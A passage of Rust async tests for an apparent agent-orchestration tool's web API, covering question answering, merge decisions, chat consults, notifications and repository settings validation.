10376 state.status = RunStatus::Superseded;
10377 state.save_under(fx.home.path()).unwrap();
10378 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10379 let path = format!("/api/questions/{}/answer", q.id);
10380 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10381 let done = fx.queue().get(&task.id).unwrap();
10382 assert_eq!(done.status, TaskStatus::Done);
10383 assert_eq!(done.runs, task.runs);
10384 assert_eq!(done.instruction, task.instruction);
10385 assert!(done.action_applied(&q.id));
10386 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10387 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
10388 assert!(!fx.questions().get(&q.id).unwrap().status.open());
10389 }
10390
10391 #[tokio::test]
10392 async fn merge_decision_api_persists_exact_target_and_selected_action() {
10393 let fx = Fixture {
10394 home: TempDir::new().unwrap(),
10395 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10396 };
10397 for choice in [
10398 crate::land::HOLD,
10399 crate::merge_decision::WITHDRAW,
10400 "reimplement:beta",
10401 ] {
10402 let mut q = Question::new(
10403 "old-run".into(),
10404 crate::land::APPROVAL_NODE.into(),
10405 "land".into(),
10406 "Decision".into(),
10407 "Review findings".into(),
10408 vec![
10409 "merge".into(),
10410 "hold".into(),
10411 crate::merge_decision::WITHDRAW.into(),
10412 "reimplement:beta".into(),
10413 ],
10414 );
10415 q.merge_target = Some(crate::merge_decision::Target {
10416 pr: "https://github.com/example/repo/pull/42".into(),
10417 head: "exact-reviewed-head".into(),
10418 language: "ja".into(),
10419 });
10420 fx.questions().put(&mut q).unwrap();
10421 let ui = Arc::new(Ui::new(
10422 fx.queue(),
10423 fx.questions(),
10424 fx.talks(),
10425 fx.runs(),
10426 fx.home.path().into(),
10427 std::path::PathBuf::from("."),
10428 ));
10429 let response = question_answer(
10430 State(ui.clone()),
10431 Path(q.id.clone()),
10432 Ok(Json(NewAnswer {
10433 choice: Some(choice.into()),
10434 text: None,
10435 })),
10436 )
10437 .await
10438 .unwrap();
10439 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
10440 let disk = fx.questions().get(&q.id).unwrap();
10441 assert_eq!(disk.merge_target, q.merge_target);
10442 assert_eq!(disk.resolution().as_deref(), Some(choice));
10443 assert!(
10444 question_answer(
10445 State(ui),
10446 Path(q.id.clone()),
10447 Ok(Json(NewAnswer {
10448 choice: Some("merge".into()),
10449 text: None
10450 }))
10451 )
10452 .await
10453 .is_err(),
10454 "an already settled decision cannot turn into merge approval"
10455 );
10456 }
10457 }
10458
10459 #[tokio::test]
10460 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
10461 let fx = Fixture {
10462 home: TempDir::new().unwrap(),
10463 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10464 };
10465 let mut state = crate::land::tests::repair_state(true, true);
10466 state.status = RunStatus::Landing;
10467 state.parked = true;
10468 state.driver_exited = true;
10469 let mut task = Task::new(
10470 "Existing PR owner".into(),
10471 state.instruction.clone(),
10472 state.repo.clone(),
10473 Source::Human,
10474 );
10475 task.runs.push(state.id.clone());
10476 task.status = TaskStatus::Parked;
10477 fx.queue().put(&mut task).unwrap();
10478 let mut q = Question::new(
10479 state.id.clone(),
10480 crate::land::APPROVAL_NODE.into(),
10481 "land".into(),
10482 "Contested merge".into(),
10483 "Original evidence".into(),
10484 vec!["merge".into(), "hold".into()],
10485 );
10486 state.land_approval = Some(crate::run::LandApproval {
10487 question: q.id.clone(),
10488 head: "reviewed-head".into(),
10489 });
10490 state.save_under(fx.home.path()).unwrap();
10491 fx.questions().put(&mut q).unwrap();
10492 task.hold_manual(Some("Pause this PR".into()));
10494 fx.queue().put(&mut task).unwrap();
10495 let ui = Arc::new(Ui::new(
10498 fx.queue(),
10499 fx.questions(),
10500 fx.talks(),
10501 fx.runs(),
10502 fx.home.path().to_path_buf(),
10503 state.repo.clone(),
10504 ));
10505 let response = question_answer(
10506 State(ui),
10507 Path(q.id.clone()),
10508 Ok(Json(NewAnswer {
10509 choice: Some(crate::land::REPAIR.into()),
10510 text: None,
10511 })),
10512 )
10513 .await
10514 .unwrap();
10515 assert_eq!(response.0.question.id, q.id);
10516 let upgraded = fx.questions().get(&q.id).unwrap();
10517 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
10518 assert!(upgraded.detail.starts_with("Original evidence"));
10519 let claim = fx.queue().claim(&task.id).unwrap();
10520 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10521 assert!(
10522 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
10523 "an existing driver keeps its claim"
10524 );
10525 drop(claim);
10526 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10527 let resumed = fx.queue().get(&task.id).unwrap();
10528 assert_eq!(
10529 resumed
10530 .resume_override
10531 .as_ref()
10532 .unwrap()
10533 .pinned_run
10534 .as_deref(),
10535 Some(state.id.as_str())
10536 );
10537 assert!(resumed.status.runnable());
10538 assert_eq!(resumed.instruction, task.instruction);
10539 assert_eq!(resumed.runs, task.runs);
10540 assert!(resumed.action_applied(&q.id));
10541 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10542 assert_eq!(fx.queue().list().len(), 1);
10543 assert_eq!(
10544 fx.queue().get(&task.id).unwrap().resume_override,
10545 resumed.resume_override
10546 );
10547 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10548 assert!(
10549 disk.merge_repairs.is_empty(),
10550 "only the claimed run driver may execute repair"
10551 );
10552 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
10553 }
10554
10555 #[tokio::test]
10556 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
10557 let fx = Fixture::start().await;
10558 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10559 let path = format!("/api/questions/{id}/answer");
10560
10561 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
10562 assert_eq!(res.status, 200, "{}", res.body);
10563 let body = res.json();
10564 assert_eq!(body["status"], "answered");
10565 assert_eq!(body["answer"]["choice"], "Redis");
10566
10567 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
10571 assert_eq!(again.status, 409, "{}", again.body);
10572 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10573 }
10574
10575 #[tokio::test]
10576 async fn saying_something_appends_a_turn_without_answering() {
10577 let fx = Fixture::start().await;
10578 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10579 let path = format!("/api/questions/{id}/say");
10580
10581 let res = fx
10582 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
10583 .await;
10584 assert_eq!(res.status, 200, "{}", res.body);
10585 let body = res.json();
10586 assert_eq!(body["status"], "open", "talking back is not a decision");
10587 assert_eq!(body["answer"], Value::Null);
10588 assert_eq!(body["thread"][0]["who"], "operator");
10589 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
10590 assert_eq!(body["waiting_on_agent"], true);
10591 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10593 }
10594
10595 #[tokio::test]
10596 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
10597 let fx = Fixture::start().await;
10598 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10599
10600 let list = fx.get("/api/questions").await.json();
10601 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
10602
10603 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
10604 assert_eq!(res.status, 409, "{}", res.body);
10605 let q = fx.questions().get(&id).unwrap();
10606 assert!(q.status.open());
10607 assert!(q.consult.is_none());
10608 }
10609
10610 #[tokio::test]
10611 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
10612 let fx = Fixture::start().await;
10613 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10614 let cfg = Config {
10615 agents: vec![crate::config::AgentSpec {
10616 id: "mock".to_owned(),
10617 kind: crate::config::AgentKind::Command,
10618 model: None,
10619 command: vec!["true".to_owned()],
10620 extra_args: Vec::new(),
10621 env: Default::default(),
10622 prompt_delivery: None,
10623 }],
10624 ..Config::default()
10625 };
10626 let talk = crate::talk::begin(
10627 &fx.talks(),
10628 &cfg,
10629 fx.home.path().to_path_buf(),
10630 Some("mock"),
10631 )
10632 .unwrap();
10633 let mut task = Task::new(
10634 "t".to_owned(),
10635 "Do it".to_owned(),
10636 PathBuf::from("/repo/magi"),
10637 Source::Agent {
10638 run: talk.id.clone(),
10639 node: crate::queue::CHAT_NODE.to_owned(),
10640 },
10641 );
10642 task.start("20260902-000000-beef".to_owned());
10643 fx.queue().put(&mut task).unwrap();
10644
10645 let list = fx.get("/api/questions").await.json();
10646 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
10647 assert_eq!(
10648 list[0]["choices"],
10649 serde_json::json!(["SQLite", "Redis"]),
10650 "the hand-over is never a choice"
10651 );
10652 fx.questions()
10653 .update(&id, |q| {
10654 q.node = crate::land::APPROVAL_NODE.into();
10655 q.choices = vec!["merge".into(), "hold".into()];
10656 Ok(())
10657 })
10658 .unwrap();
10659 let list = fx.get("/api/questions").await.json();
10660 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
10661 assert_eq!(list[0]["can_consult_chat"], true);
10662 fx.questions()
10663 .update(&id, |q| {
10664 q.node = crate::bump::NOTICE_NODE.into();
10665 Ok(())
10666 })
10667 .unwrap();
10668 let list = fx.get("/api/questions").await.json();
10669 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
10670 assert_eq!(list[0]["can_consult_chat"], false);
10671 }
10672
10673 #[tokio::test]
10674 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
10675 let fx = Fixture::start().await;
10676 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10677 fx.questions()
10678 .update(&id, |q| {
10679 q.node = crate::land::APPROVAL_NODE.into();
10680 q.choices = vec!["merge".into(), "hold".into()];
10681 Ok(())
10682 })
10683 .unwrap();
10684 let cfg = Config {
10685 agents: vec![crate::config::AgentSpec {
10686 id: "mock".to_owned(),
10687 kind: crate::config::AgentKind::Command,
10688 model: None,
10689 command: vec!["true".to_owned()],
10690 extra_args: Vec::new(),
10691 env: Default::default(),
10692 prompt_delivery: None,
10693 }],
10694 ..Config::default()
10695 };
10696 let repo = fx.home.path().join("chat-repo");
10698 std::fs::create_dir_all(&repo).unwrap();
10699 let toml = repo.join("magi.toml");
10700 std::fs::write(&toml, "this is = = not toml").unwrap();
10701 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
10702 let mut task = Task::new(
10703 "t".to_owned(),
10704 "Do it".to_owned(),
10705 PathBuf::from("/repo/magi"),
10706 Source::Agent {
10707 run: talk.id.clone(),
10708 node: crate::queue::CHAT_NODE.to_owned(),
10709 },
10710 );
10711 task.start("20260902-000000-beef".to_owned());
10712 fx.queue().put(&mut task).unwrap();
10713
10714 let path = format!("/api/questions/{id}/consult");
10715 let res = fx.post(&path, None).await;
10716 assert!(res.status >= 400, "{}", res.body);
10717 assert!(fx.questions().get(&id).unwrap().consult.is_none());
10718 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
10719
10720 std::fs::write(&toml, "").unwrap();
10721 let res = fx.post(&path, None).await;
10722 assert_eq!(res.status, 202, "{}", res.body);
10723 assert!(fx.questions().get(&id).unwrap().consult.is_some());
10724 let q = fx.questions().get(&id).unwrap();
10725 assert!(q.status.open());
10726 assert!(q.answer.is_none());
10727 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
10728 assert_eq!(res.json()["can_consult_chat"], true);
10729 let list = fx.get("/api/questions").await.json();
10730 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
10731 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
10732
10733 let res = fx
10734 .post(
10735 &format!("/api/questions/{id}/answer"),
10736 Some(r#"{"choice":"hold"}"#),
10737 )
10738 .await;
10739 assert_eq!(res.status, 200, "{}", res.body);
10740 assert_eq!(res.json()["answer"]["choice"], "hold");
10741 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
10742 assert_eq!(res.json()["can_consult_chat"], false);
10743 assert_eq!(fx.post(&path, None).await.status, 409);
10744
10745 let mut talk = fx.talks().get(&talk.id).unwrap();
10746 crate::talk::close(&mut talk, &fx.talks()).unwrap();
10747 let list = fx.get("/api/questions").await.json();
10748 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
10749 assert_eq!(list[0]["origin_chat_closed"], true);
10750 assert_eq!(list[0]["can_consult_chat"], false);
10751
10752 fx.talks().remove(&talk.id).unwrap();
10753 let list = fx.get("/api/questions").await.json();
10754 assert_eq!(list[0]["origin_chat"], Value::Null);
10755 assert_eq!(list[0]["origin_chat_closed"], false);
10756 assert_eq!(list[0]["can_consult_chat"], false);
10757 }
10758
10759 #[tokio::test]
10760 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
10761 let fx = Fixture::start().await;
10762 let store = fx.questions();
10763 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10764 assert_eq!(
10765 fx.get("/api/health").await.json()["questions_needs_owner"],
10766 1
10767 );
10768
10769 let res = fx
10775 .post(
10776 &format!("/api/questions/{id}/say"),
10777 Some(r#"{"body":"why not Postgres?"}"#),
10778 )
10779 .await;
10780 assert_eq!(res.status, 200, "{}", res.body);
10781 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10782 assert_eq!(
10783 fx.get("/api/health").await.json()["questions_needs_owner"],
10784 0,
10785 "waiting on the agent is not waiting on the owner"
10786 );
10787
10788 let mut q = store.get(&id).expect("get");
10792 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
10793 .expect("reply");
10794 store.put(&mut q).expect("put");
10795 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10796 assert_eq!(
10797 fx.get("/api/health").await.json()["questions_needs_owner"],
10798 1,
10799 "the agent's reply is what should light the banner back up"
10800 );
10801 }
10802
10803 #[tokio::test]
10804 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
10805 let fx = Fixture::start().await;
10806 let store = fx.questions();
10807
10808 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10809 let res = fx
10810 .post(
10811 &format!("/api/questions/{empty_id}/say"),
10812 Some(r#"{"body":" "}"#),
10813 )
10814 .await;
10815 assert_eq!(res.status, 400, "{}", res.body);
10816
10817 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10818 let mut answered = store.get(&answered_id).expect("get");
10819 answered
10820 .answer(Answer::Choice("SQLite".to_owned()))
10821 .expect("answer");
10822 store.put(&mut answered).expect("put");
10823 let res = fx
10824 .post(
10825 &format!("/api/questions/{answered_id}/say"),
10826 Some(r#"{"body":"still there?"}"#),
10827 )
10828 .await;
10829 assert_eq!(res.status, 409, "{}", res.body);
10830
10831 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10832 let mut abandoned = store.get(&abandoned_id).expect("get");
10833 abandoned.abandon("timed out");
10834 store.put(&mut abandoned).expect("put");
10835 let res = fx
10836 .post(
10837 &format!("/api/questions/{abandoned_id}/say"),
10838 Some(r#"{"body":"still there?"}"#),
10839 )
10840 .await;
10841 assert_eq!(res.status, 409, "{}", res.body);
10842 }
10843
10844 #[tokio::test]
10845 async fn an_answer_the_question_does_not_offer_is_refused() {
10846 let fx = Fixture::start().await;
10847 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10848 let path = format!("/api/questions/{id}/answer");
10849
10850 for body in [
10851 r#"{"choice":"Postgres"}"#,
10852 r#"{"text":"whatever you think"}"#,
10853 r#"{"choice":"Redis","text":"both"}"#,
10854 r#"{}"#,
10855 ] {
10856 let res = fx.post(&path, Some(body)).await;
10857 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
10858 assert!(res.json()["error"].is_string(), "{}", res.body);
10859 }
10860 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10862 }
10863
10864 #[tokio::test]
10865 async fn a_free_text_question_takes_text_and_not_a_choice() {
10866 let fx = Fixture::start().await;
10867 let id = ask(&fx, "What should the flag be called?", &[]);
10868 let path = format!("/api/questions/{id}/answer");
10869
10870 assert_eq!(
10871 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
10872 400
10873 );
10874 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
10875 assert_eq!(res.status, 200, "{}", res.body);
10876 assert_eq!(res.json()["answer"]["text"], "--json");
10877 }
10878
10879 #[tokio::test]
10880 async fn an_unknown_question_is_a_json_404() {
10881 let fx = Fixture::start().await;
10882 let res = fx
10883 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
10884 .await;
10885 assert_eq!(res.status, 404, "{}", res.body);
10886 assert!(res.json()["error"].is_string());
10887 }
10888
10889 #[tokio::test]
10890 async fn notifications_list_read_dismiss_and_health_agree() {
10891 let fx = Fixture::start().await;
10892 let store = Notices::at(fx.home.path().join("notifications"));
10893 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
10894 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
10895
10896 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
10897 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
10898
10899 store
10900 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
10901 .unwrap();
10902 let health = fx.get("/api/health").await.json();
10903 assert_eq!(health["notifications_unread"], 2);
10904 assert_ne!(
10905 health["notifications_rev"], rev0,
10906 "the badge must move live"
10907 );
10908
10909 let listed = fx.get("/api/notifications").await.json();
10910 assert_eq!(listed["unread"], 2);
10911 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
10912 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
10913
10914 let read = fx
10915 .post(&format!("/api/notifications/{}/read", a.id), None)
10916 .await;
10917 assert_eq!(read.status, 200, "{}", read.body);
10918 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
10919
10920 let gone = fx
10921 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
10922 .await;
10923 assert_eq!(gone.status, 200, "{}", gone.body);
10924 let listed = fx.get("/api/notifications").await.json();
10925 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
10926 assert_eq!(listed["unread"], 0);
10927
10928 store.raise(Notice::info("x", "again")).unwrap();
10929 let all = fx.post("/api/notifications/read-all", None).await;
10930 assert_eq!(all.status, 200, "{}", all.body);
10931 assert_eq!(all.json()["marked"], 1);
10932 assert_eq!(
10933 fx.get("/api/health").await.json()["notifications_unread"],
10934 0
10935 );
10936
10937 let missing = fx.post("/api/notifications/nope/read", None).await;
10938 assert_eq!(missing.status, 404, "{}", missing.body);
10939 assert!(missing.json()["error"].is_string());
10940 }
10941
10942 #[tokio::test]
10949 async fn a_task_cannot_be_filed_over_the_phone_directly() {
10950 let f = Fixture::start().await;
10951
10952 let res = f
10953 .post(
10954 "/api/queue",
10955 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
10956 )
10957 .await;
10958
10959 assert_eq!(
10960 res.status, 405,
10961 "POST /api/queue must not be a route: {}",
10962 res.body
10963 );
10964 assert!(
10965 f.queue().list().is_empty(),
10966 "a task filed by a route that does not exist must not reach the disk"
10967 );
10968 assert_eq!(f.get("/api/queue").await.status, 200);
10971 }
10972
10973 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
10975 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
10976 .expect("checkout dir");
10977 }
10978
10979 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
10981
10982 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
10983 let tmp = TempDir::new().expect("tempdir");
10984 let repo = tmp.path().join("repo");
10985 std::fs::create_dir_all(&repo).expect("repo dir");
10986 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
10987 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
10988 if let Some(text) = machine_toml {
10989 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
10990 std::fs::write(&machine, text).expect("machine toml");
10991 }
10992 (tmp, repo, machine)
10993 }
10994
10995 async fn settings_checkout(path: &FsPath, text: &str) {
10996 std::fs::create_dir_all(path).unwrap();
10997 std::fs::write(path.join("magi.toml"), text).unwrap();
10998 for args in [
10999 vec!["init", "-b", "main"],
11000 vec!["add", "magi.toml"],
11001 vec![
11002 "-c",
11003 "user.name=Test",
11004 "-c",
11005 "user.email=test@example.invalid",
11006 "commit",
11007 "-m",
11008 "fixture",
11009 ],
11010 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
11011 vec![
11012 "symbolic-ref",
11013 "refs/remotes/origin/HEAD",
11014 "refs/remotes/origin/main",
11015 ],
11016 ] {
11017 crate::git::git(path, &args).await.unwrap();
11018 }
11019 }
11020
11021 #[tokio::test]
11022 async fn settings_context_handlers_validate_and_save_without_a_socket() {
11023 let (tmp, repo, machine) =
11024 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
11025 let root = tmp.path().join("roots");
11026 let selected = root.join("host/owner/selected");
11027 settings_checkout(
11028 &selected,
11029 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
11030 )
11031 .await;
11032 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
11033 let before = std::fs::read(&machine).unwrap();
11034 let ui = Arc::new(
11035 Ui::new(
11036 Queue::at(tmp.path().join("queue")),
11037 Questions::at(tmp.path().join("questions")),
11038 Talks::at(tmp.path().join("talks")),
11039 tmp.path().join("runs"),
11040 tmp.path().to_path_buf(),
11041 repo.clone(),
11042 )
11043 .with_machine_config(Some(machine.clone())),
11044 );
11045 let query = || {
11046 Query(SettingsQuery {
11047 repo: Some(selected.clone()),
11048 })
11049 };
11050 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
11051 assert!(v.error.is_none(), "{:?}", v.error);
11052 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
11053 assert_eq!(conductor.source, "repo");
11054 assert_eq!(
11055 conductor.machine_value,
11056 Some(toml::Value::String("a".into()))
11057 );
11058 assert!(!conductor.editable);
11059 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
11060 assert_eq!(
11061 judges.count.as_ref().unwrap().machine_value,
11062 Some(toml::Value::Integer(1))
11063 );
11064 assert!(
11065 !v.roles
11066 .iter()
11067 .find(|r| r.key == "reviewers")
11068 .unwrap()
11069 .editable
11070 );
11071 let unknown = || {
11072 Query(SettingsQuery {
11073 repo: Some(tmp.path().to_path_buf()),
11074 })
11075 };
11076 assert_eq!(
11077 settings_get(State(ui.clone()), unknown())
11078 .await
11079 .unwrap_err()
11080 .status,
11081 StatusCode::UNPROCESSABLE_ENTITY
11082 );
11083 let body = || {
11084 Ok(Json(RolesBody {
11085 revision: v.revision.clone(),
11086 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
11087 counts: Default::default(),
11088 }))
11089 };
11090 assert_eq!(
11091 settings_put_roles(State(ui.clone()), unknown(), body())
11092 .await
11093 .unwrap_err()
11094 .status,
11095 StatusCode::UNPROCESSABLE_ENTITY
11096 );
11097 assert_eq!(std::fs::read(&machine).unwrap(), before);
11098 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
11099 .await
11100 .unwrap();
11101 assert_eq!(
11102 saved.repo,
11103 selected.canonicalize().unwrap().display().to_string()
11104 );
11105 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11106 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11107 let fresh = root.join("host/owner/fresh");
11109 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
11110 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
11111 .await
11112 .unwrap();
11113 assert_eq!(fresh_view.repositories.len(), 3);
11114 }
11115
11116 #[tokio::test]
11117 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
11118 let (tmp, repo, machine) = settings_dirs(
11119 "[roles]\nreviewers = [\"a\"]\n",
11120 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
11121 );
11122 let root = tmp.path().join("roots");
11123 let selected = root.join("host/owner/selected");
11124 settings_checkout(
11125 &selected,
11126 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
11127 )
11128 .await;
11129 let broken = root.join("host/owner/broken");
11130 settings_checkout(&broken, "[roles\nbroken").await;
11131 let machine_text = format!(
11132 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
11133 toml::Value::String(root.display().to_string())
11134 );
11135 std::fs::write(&machine, &machine_text).unwrap();
11136 let originals: Vec<_> = [&repo, &selected, &broken]
11137 .iter()
11138 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
11139 .collect();
11140 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
11141 let default = f.get("/api/settings").await.json();
11142 assert_eq!(
11143 default["repo"],
11144 repo.canonicalize().unwrap().display().to_string()
11145 );
11146 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
11147 let query = format!("?repo={}", selected.display());
11148 let res = f.get(&format!("/api/settings{query}")).await;
11149 assert_eq!(res.status, 200, "{}", res.body);
11150 let v = res.json();
11151 assert!(v["error"].is_null(), "{v}");
11152 assert_eq!(v["repositories"], default["repositories"]);
11153 let role = |key: &str| {
11154 v["roles"]
11155 .as_array()
11156 .unwrap()
11157 .iter()
11158 .find(|r| r["key"] == key)
11159 .unwrap()
11160 };
11161 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
11162 assert_eq!(role("advisors")["source"], "repo");
11163 assert_eq!(role("advisors")["editable"], false);
11164 assert!(role("advisors")["machine_value"].is_null());
11165 assert_eq!(role("judges")["count"]["value"], 2);
11166 assert_eq!(role("judges")["count"]["machine_value"], 1);
11167 assert_eq!(role("judges")["count"]["source"], "repo");
11168 let source = role("judges")["count"]["source_path"].as_str().unwrap();
11169 assert!(
11170 source.contains("origin/main") && !source.contains("magi/config/"),
11171 "{source}"
11172 );
11173 assert_eq!(
11174 role("reviewers")["editable"],
11175 false,
11176 "default context outside roots must protect its declarations"
11177 );
11178 let body =
11179 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
11180 let unknown = format!("?repo={}", tmp.path().display());
11181 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
11182 assert_eq!(
11183 f.put(&format!("/api/settings/roles{unknown}"), &body)
11184 .await
11185 .status,
11186 422
11187 );
11188 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
11189 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
11190 .to_string();
11191 assert_eq!(
11192 f.put(&format!("/api/settings/roles{query}"), &refuse)
11193 .await
11194 .status,
11195 422
11196 );
11197 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
11198 assert_eq!(saved.status, 200, "{}", saved.body);
11199 assert_eq!(saved.json()["repo"], v["repo"]);
11200 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11201 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11202 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
11203 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
11204 }
11205 let error = f
11206 .get(&format!("/api/settings?repo={}", broken.display()))
11207 .await;
11208 assert_eq!(error.status, 200);
11209 assert!(error.json()["error"]["message"].is_string());
11210 assert_eq!(error.json()["repositories"], default["repositories"]);
11211 }
11212
11213 #[tokio::test]
11214 async fn settings_get_reports_sources_and_the_advisors_fallback() {
11215 let (_tmp, repo, machine) =
11216 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
11217 let f = Fixture::with_repo_and_machine(repo, machine).await;
11218 let res = f.get("/api/settings").await;
11219 assert_eq!(res.status, 200, "{}", res.body);
11220 let v = res.json();
11221 assert!(v["error"].is_null(), "{v}");
11222 let role = |k: &str| {
11223 v["roles"]
11224 .as_array()
11225 .and_then(|r| r.iter().find(|x| x["key"] == k))
11226 .cloned()
11227 .unwrap_or_else(|| panic!("no role {k}: {v}"))
11228 };
11229 assert_eq!(role("judges")["source"], "machine");
11230 assert_eq!(role("judges")["editable"], true);
11231 assert_eq!(role("implementers")["source"], "default");
11232 let adv = role("advisors");
11233 assert_eq!(adv["fallback"], "judges");
11234 assert!(
11235 adv["seats"]
11236 .as_array()
11237 .is_some_and(|s| s.iter().all(|x| x == "b")),
11238 "{adv}"
11239 );
11240 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
11241 assert_eq!(v["agents"][0]["source"], "repo");
11242 }
11243
11244 #[tokio::test]
11245 async fn settings_get_reports_a_config_that_does_not_parse() {
11246 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
11247 let f = Fixture::with_repo_and_machine(repo, machine).await;
11248 let res = f.get("/api/settings").await;
11249 assert_eq!(res.status, 200, "{}", res.body);
11250 let v = res.json();
11251 assert!(v["error"]["message"].is_string(), "{v}");
11252 assert!(
11253 v["error"]["path"]
11254 .as_str()
11255 .is_some_and(|p| p.ends_with("magi.toml")),
11256 "{v}"
11257 );
